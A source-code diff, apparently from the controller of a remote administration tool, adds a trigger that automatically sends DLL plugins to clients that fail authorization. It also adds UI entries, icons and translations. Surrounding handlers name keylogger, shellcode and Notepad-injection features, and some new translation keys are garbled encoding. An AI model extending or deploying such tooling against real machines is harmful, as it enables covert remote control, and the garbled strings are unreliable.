auto pluginNames = TriggerManager::Instance().GetAuthFailedPlugins();
|
||||
if (pluginNames.empty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
Mprintf("[Trigger] Auth failed trigger activated for %s\n", ctx->GetPeerName().c_str());
|
||||
|
||||
// 遍历触发器配置的插件列表
|
||||
for (const auto& pluginName : pluginNames) {
|
||||
// 查找对应的 DLL
|
||||
DllInfo* targetDll = nullptr;
|
||||
for (auto& dll : m_DllList) {
|
||||
if (dll && dll->Name == pluginName) {
|
||||
targetDll = dll;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetDll || !targetDll->Data) {
|
||||
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
|
||||
continue;
|
||||
}
|
||||
|
||||
// 发送 DLL 到客户端
|
||||
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
|
||||
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
|
||||
}
|
||||
}
|
||||
|
||||
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
||||
{
|
||||
CString clientIP(ip.c_str());
|
||||
|
||||
@@ -233,9 +233,10 @@ public:
|
||||
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
|
||||
// expired=true 表示签名有效但已过期(可用于续期)
|
||||
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
|
||||
// sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr
|
||||
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
|
||||
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
|
||||
const char* source = "AUTH");
|
||||
const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
|
||||
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
|
||||
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
|
||||
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
||||
@@ -431,7 +432,7 @@ public:
|
||||
bool IsDllRequestLimited(const std::string& ip);
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[66];
|
||||
CBitmap m_bmOnline[69];
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -518,6 +519,9 @@ public:
|
||||
afx_msg void OnOnlineMessage();
|
||||
afx_msg void OnChat();
|
||||
afx_msg void OnMachineManager();
|
||||
afx_msg void OnExperimentFileManager();
|
||||
afx_msg void OnExperimentPrivateScreen();
|
||||
afx_msg void OnExperimentDrawingBoard();
|
||||
afx_msg void OnOnlineDelete();
|
||||
afx_msg void OnOnlineUpdate();
|
||||
afx_msg void OnAbout();
|
||||
@@ -648,6 +652,7 @@ public:
|
||||
afx_msg void OnToolPluginSettings();
|
||||
afx_msg void OnTriggerSettings();
|
||||
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
|
||||
void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
|
||||
afx_msg void OnShellcodeAesCArray();
|
||||
afx_msg void OnParamKblogger();
|
||||
afx_msg void OnOnlineInjNotepad();
|
||||
|
||||
@@ -526,6 +526,8 @@
|
||||
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||
<Image Include="res\Bitmap\ClientLog.bmp" />
|
||||
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||
<Image Include="res\Bitmap\FileManager.bmp" />
|
||||
<Image Include="res\Bitmap\Forbidden.bmp" />
|
||||
<Image Include="res\bitmap\compress.bmp" />
|
||||
<Image Include="res\Bitmap\Copy.bmp" />
|
||||
@@ -561,6 +563,7 @@
|
||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\Reboot.bmp" />
|
||||
|
||||
@@ -352,5 +352,8 @@
|
||||
<Image Include="res\Bitmap\HistoryActivity.bmp" />
|
||||
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
||||
<Image Include="res\Bitmap\FileManager.bmp" />
|
||||
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
||||
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
|
||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
|
||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
|
||||
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
||||
@@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls()
|
||||
{
|
||||
// 初始化触发类型下拉框
|
||||
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
|
||||
m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败"));
|
||||
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
|
||||
|
||||
// 初始化插件列表
|
||||
@@ -147,27 +149,15 @@ void CTriggerSettingsDlg::LoadPluginsToList()
|
||||
index++;
|
||||
}
|
||||
|
||||
// 如果有已配置的主机上线触发器,勾选对应的插件
|
||||
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
|
||||
if (onlineTrigger) {
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||
if (!dll) continue;
|
||||
for (const auto& pluginName : onlineTrigger->PluginNames) {
|
||||
if (pluginName == dll->Name) {
|
||||
m_listPlugins.SetCheck(i, TRUE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// 回显当前选中触发类型已勾选的插件
|
||||
ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel());
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::LoadTriggersToList()
|
||||
{
|
||||
m_listTriggers.DeleteAllItems();
|
||||
|
||||
const char* typeNames[] = { "主机上线" };
|
||||
const char* typeNames[] = { "主机上线", "授权失败" };
|
||||
|
||||
int index = 0;
|
||||
for (const auto& cfg : m_Configs) {
|
||||
@@ -264,6 +254,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
|
||||
|
||||
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
||||
|
||||
// 回显该触发器配置的插件,并同步下拉框选择
|
||||
ReflectPluginsForType(type);
|
||||
m_comboTriggerType.SetCurSel(type);
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType()
|
||||
{
|
||||
int sel = m_comboTriggerType.GetCurSel();
|
||||
if (sel >= 0) {
|
||||
ReflectPluginsForType((TriggerType)sel);
|
||||
}
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type)
|
||||
{
|
||||
// 查找对应的触发器配置
|
||||
TriggerConfig* cfg = nullptr;
|
||||
for (auto& c : m_Configs) {
|
||||
@@ -291,9 +296,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 同步下拉框选择
|
||||
m_comboTriggerType.SetCurSel(type);
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnBnClickedBtnSave()
|
||||
@@ -427,16 +429,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& c
|
||||
TriggerManager::Instance().Reload();
|
||||
}
|
||||
|
||||
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
|
||||
{
|
||||
for (auto& cfg : configs) {
|
||||
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
|
||||
return &cfg;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// TriggerManager 实现
|
||||
// ============================================
|
||||
@@ -455,6 +447,7 @@ void TriggerManager::LoadFromDisk()
|
||||
{
|
||||
// 不加锁,由调用者保证线程安全
|
||||
m_OnlinePlugins.clear();
|
||||
m_AuthFailedPlugins.clear();
|
||||
|
||||
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
|
||||
for (const auto& cfg : configs) {
|
||||
@@ -462,6 +455,10 @@ void TriggerManager::LoadFromDisk()
|
||||
for (const auto& name : cfg.PluginNames) {
|
||||
m_OnlinePlugins.insert(name);
|
||||
}
|
||||
} else if (cfg.Type == TRIGGER_AUTH_FAILED) {
|
||||
for (const auto& name : cfg.PluginNames) {
|
||||
m_AuthFailedPlugins.insert(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
m_bLoaded = true;
|
||||
@@ -495,3 +492,25 @@ std::set<std::string> TriggerManager::GetOnlinePlugins()
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return result;
|
||||
}
|
||||
|
||||
bool TriggerManager::HasAuthFailedTrigger()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (!m_bLoaded) {
|
||||
LoadFromDisk();
|
||||
}
|
||||
bool has = !m_AuthFailedPlugins.empty();
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return has;
|
||||
}
|
||||
|
||||
std::set<std::string> TriggerManager::GetAuthFailedPlugins()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (!m_bLoaded) {
|
||||
LoadFromDisk();
|
||||
}
|
||||
std::set<std::string> result = m_AuthFailedPlugins; // 复制一份返回
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return result;
|
||||
}
|
||||
@@ -12,6 +12,7 @@ struct DllInfo;
|
||||
// 触发器类型
|
||||
enum TriggerType {
|
||||
TRIGGER_HOST_ONLINE = 0, // 主机上线
|
||||
TRIGGER_AUTH_FAILED = 1, // 授权失败
|
||||
// 后续可扩展更多类型
|
||||
};
|
||||
|
||||
@@ -34,12 +35,18 @@ public:
|
||||
// 获取主机上线触发器的插件名称集合(高性能查询)
|
||||
std::set<std::string> GetOnlinePlugins();
|
||||
|
||||
// 获取授权失败触发器的插件名称集合(高性能查询)
|
||||
std::set<std::string> GetAuthFailedPlugins();
|
||||
|
||||
// 重新加载配置(保存后调用)
|
||||
void Reload();
|
||||
|
||||
// 检查是否有上线触发器
|
||||
bool HasOnlineTrigger();
|
||||
|
||||
// 检查是否有授权失败触发器
|
||||
bool HasAuthFailedTrigger();
|
||||
|
||||
private:
|
||||
TriggerManager();
|
||||
~TriggerManager();
|
||||
@@ -49,7 +56,8 @@ private:
|
||||
void LoadFromDisk();
|
||||
|
||||
CRITICAL_SECTION m_cs;
|
||||
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
||||
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
||||
std::set<std::string> m_AuthFailedPlugins; // 缓存的授权失败触发器插件名称
|
||||
bool m_bLoaded;
|
||||
};
|
||||
|
||||
@@ -68,8 +76,6 @@ public:
|
||||
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
|
||||
// 静态方法:获取配置文件路径
|
||||
static std::string GetTriggerConfigPath();
|
||||
// 静态方法:获取主机上线触发器(如果存在)
|
||||
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
@@ -81,12 +87,15 @@ protected:
|
||||
afx_msg void OnBnClickedBtnTriggerAdd();
|
||||
afx_msg void OnBnClickedBtnTriggerRemove();
|
||||
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnCbnSelchangeComboTriggerType();
|
||||
|
||||
private:
|
||||
void InitControls();
|
||||
void LoadPluginsToList();
|
||||
void LoadTriggersToList();
|
||||
void UpdateTriggerDisplay();
|
||||
// 回显指定触发类型已勾选的插件(取消其他勾选)
|
||||
void ReflectPluginsForType(TriggerType type);
|
||||
|
||||
private:
|
||||
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
||||
|
||||
@@ -46,7 +46,7 @@
|
||||
|
||||
// 程序版本号 [建议格式: X.Y.Z]
|
||||
// 影响:关于对话框、标题栏
|
||||
#define BRAND_VERSION "1.3.9"
|
||||
#define BRAND_VERSION "1.4.0"
|
||||
|
||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||
|
||||
@@ -1824,6 +1824,7 @@ IOCP
|
||||
触发类型:=Ausloesertyp:
|
||||
执行动作:=Aktion:
|
||||
主机上线=Host online
|
||||
ÊÚȨʧ°Ü=Autorisierung fehlgeschlagen
|
||||
插件名称=Plugin-Name
|
||||
触发器=Ausloeser
|
||||
已配置的触发器=Konfigurierte Ausloeser
|
||||
|
||||
@@ -1825,6 +1825,7 @@ IOCP
|
||||
触发类型:=Trigger Type:
|
||||
执行动作:=Action:
|
||||
主机上线=Host Online
|
||||
ÊÚȨʧ°Ü=Authorization Failed
|
||||
插件名称=Plugin Name
|
||||
触发器=Trigger
|
||||
已配置的触发器=Configured Triggers
|
||||
|
||||
@@ -1817,6 +1817,7 @@ IOCP
|
||||
触发类型:=觸發類型:
|
||||
执行动作:=執行動作:
|
||||
主机上线=主機上線
|
||||
ハレネィハァーワ=ハレ吭ハァ硲
|
||||
插件名称=外掛名稱
|
||||
触发器=觸發器
|
||||
已配置的触发器=已設定的觸發器
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
@@ -284,6 +284,9 @@
|
||||
#define IDB_BITMAP_HISTORY_ACTIVITY 398
|
||||
#define IDB_BITMAP_VIEW_WND 399
|
||||
#define IDB_BITMAP_PROXY_AUTORUN 400
|
||||
#define IDB_BITMAP_FILE_MANAGER 407
|
||||
#define IDB_BITMAP_PRIVACY_SHIELD 408
|
||||
#define IDB_BITMAP_DRAWING_BOARD 409
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -1012,6 +1015,9 @@
|
||||
#define ID_CONNECTION_KILL 33087
|
||||
#define ID_CONNECTION_REFRESH 33088
|
||||
#define ID_TALK_MANAGE 33089
|
||||
#define ID_EXPERIMENT_FILE_MANAGER 33090
|
||||
#define ID_EXPERIMENT_PRIVATE_SCREEN 33091
|
||||
#define ID_EXPERIMENT_DRAWING_BOARD 33092
|
||||
#define ID_33046 33046
|
||||
#define ID_PROXY_PORT_AUTORUN 33047
|
||||
#define ID_TRIGGER_SETTINGS 33048
|
||||
@@ -1075,8 +1081,8 @@
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 407
|
||||
#define _APS_NEXT_COMMAND_VALUE 33090
|
||||
#define _APS_NEXT_RESOURCE_VALUE 410
|
||||
#define _APS_NEXT_COMMAND_VALUE 33093
|
||||
#define _APS_NEXT_CONTROL_VALUE 2593
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
|
||||
Reference in new issue
Block a user